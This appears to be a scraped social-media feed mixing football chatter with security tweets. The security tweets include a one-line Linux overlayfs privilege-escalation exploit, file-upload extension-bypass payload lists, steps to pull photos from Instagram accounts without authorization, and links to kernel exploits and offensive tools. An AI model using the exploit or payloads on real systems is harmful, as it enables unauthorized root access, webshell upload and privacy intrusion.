Oldboy

A boy with old face. Women hate that. I'm Jisoo I'm OK

[Srishti @srishticodes]

This 𝗖𝗟𝗔𝗨𝗗𝗘.𝗺𝗱 file will make you 10x engineer 👇

It combines all the best practices shared by Claude Code creator:

Boris Cherny (creator of Claude Code at Anthropic) shared on X internal best practices and workflows he and his team actually use with Claude Code daily. Someone turned those threads into a structured 𝗖𝗟𝗔𝗨𝗗𝗘.𝗺𝗱 you can drop into any project.

It includes:
• Workflow orchestration
• Subagent strategy
• Self-improvement loop
• Verification before done
• Autonomous bug fixing
• Core principles

This is a compounding system. Every correction you make gets captured as a rule. Over time, Claude's mistake rate drops because it learns from your feedback.

If you build with AI daily, this will save you a lot of time.

[blackorbird @blackorbird]

About A growing collection of #MCP servers bringing offensive security tools to AI assistants.
Nmap, Ghidra, Nuclei, SQLMap, Hashcat and more.
https://t.co/Qboz9WvCkx

[Guillermo Rauch @rauchg]

https://t.co/b8rKtYZlB3

[Oldboy @oldboy_sonnt]

@IrlanSimoes @tancredipalmeri lLucky for Croatia because they don't share a branch with France. Croatia didn't even play as well as Belgium against France in the final

[Oldboy @oldboy_sonnt]

@michaelangeloit @MLS Act like you know football, but you know nothing. Messi scored many goals in Europe like that against top teams. All defenders will not predict Messi's pass, even audiences can't imagine that pass. That's GOAT things.

[Oldboy @oldboy_sonnt]

@MLS That's a beautiful team goal. Every pass in chain is perfect.

[liad eliyahu @liadeliyahu]

Exploit is so easy it fits in a tweet🔥
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

[Mobile Hacker @androidmalware2]

APKHunt - static code analysis tool for Android apps that is based on the OWASP MASVS framework
https://t.co/4l0SPj4n1k

[Hossein NafisiAsl @MeAsHacker_HNA]

#Secret1
Top 10 Automatic Recon Tools

#Recon #BugBounty
#100BugBountySecrets
🧵👇

[Huy Nguyen @Little_34306]

Fugu15 jailbreak (A12-A15, better wait for official release)

Download directly:
https://t.co/ovy6H4Seu2 (FuguMax btn)

Run jailbreak, Sileo, Zebra installed, install 2 debs (Ellekit and Prefs Loader rootless)
Link:
Ellekit: https://t.co/9C7fhnTSgT
Prefs: https://t.co/cI4FLSiiEW

[LaurieWired @lauriewired]

Happy to announce the release of my JADX dynamic scripting plugin, JADXecute. Now you write and share scripts to automate your Android APK analysis! #ReverseEngineering

https://t.co/J3cNWZ1lBT

[Cyber Detective💙💛 @cyb_detective]

How to download photos from any Instagram account without authorization?

1. Open https://t.co/3LTRpx8PEM
2. Insert the link https://t.co/lbbKjzeZmB{target_instaram_login}
3. Click "Extract" button
4. Highlight photos and click "Download all"

Works with limitations, but works.

[Anton @therceman]

Extension Bypass V2

🔸 do.php%00.png
🔸 do.php%0A.png
🔸 do.php\n.png
🔸 do.php\u000a.png
🔸 do.php\u560a.png
🔸 do.php%E5%98%8A.png
🔸 do.php#.png
🔸 do.php%23.png
🔸 do.php\u0023.png
🔸 do.php;.png
🔸 do.php%3B.png
🔸 do.php\u003b.png
🔸 do.php\u563b.png
🔸 do.php%E5%98%BB.png

[kavisha sheth @sheth_kavisha]

Any IOT security experts ?

[Anton @therceman]

Bug Bounty Hint

File Upload
Extension Splitting Cheat Sheet

🔸 qwe.php%00.png
🔸 qwe.php%0A.png
🔸 qwe.php\n.png
🔸 qwe.php\u000a.png
🔸 qwe.php\u560a.png
🔸 qwe.php%E5%98%8A.png
🔸 qwe.php;.png
🔸 qwe.php%3B.png
🔸 qwe.php\u003b.png
🔸 qwe.php\u563b.png
🔸 qwe.php%E5%98%BB.png

[Romain THOMAS @rh0main]

The slides and the whitepaper about SafetyNet/DroidGuard are available here:

https://t.co/MP6ZhEO3u4

[secret club @the_secret_club]

Earn $200K by fuzzing for a weekend: Part 1
by @addisoncrump_ko
https://t.co/u47LWhnayY

[Cleafy LABS @cleafylabs]

More info: https://t.co/l35NzEHPSq

[Bonfee @Bonfee1]

The bug was assigned CVE-2022-0995. Here is the exploit: https://t.co/zwQ20QOSJH.
1 bit oob write is all it takes :)

[Abhisar Pandey (MrGrep) @imabhisarpandey]

Android Pentesting beginner Resources
1. https://t.co/fRs9pbX6T8

2. https://t.co/I0rkJPdlYc

3. https://t.co/Z2UobLZPAv

4. https://t.co/e8Xmr8ioyd

5. https://t.co/af3AoyxDgx

6. https://t.co/vY4LmeQpgi

7. https://t.co/K0qUb1p8tM

8.
https://t.co/G58HwfQKu2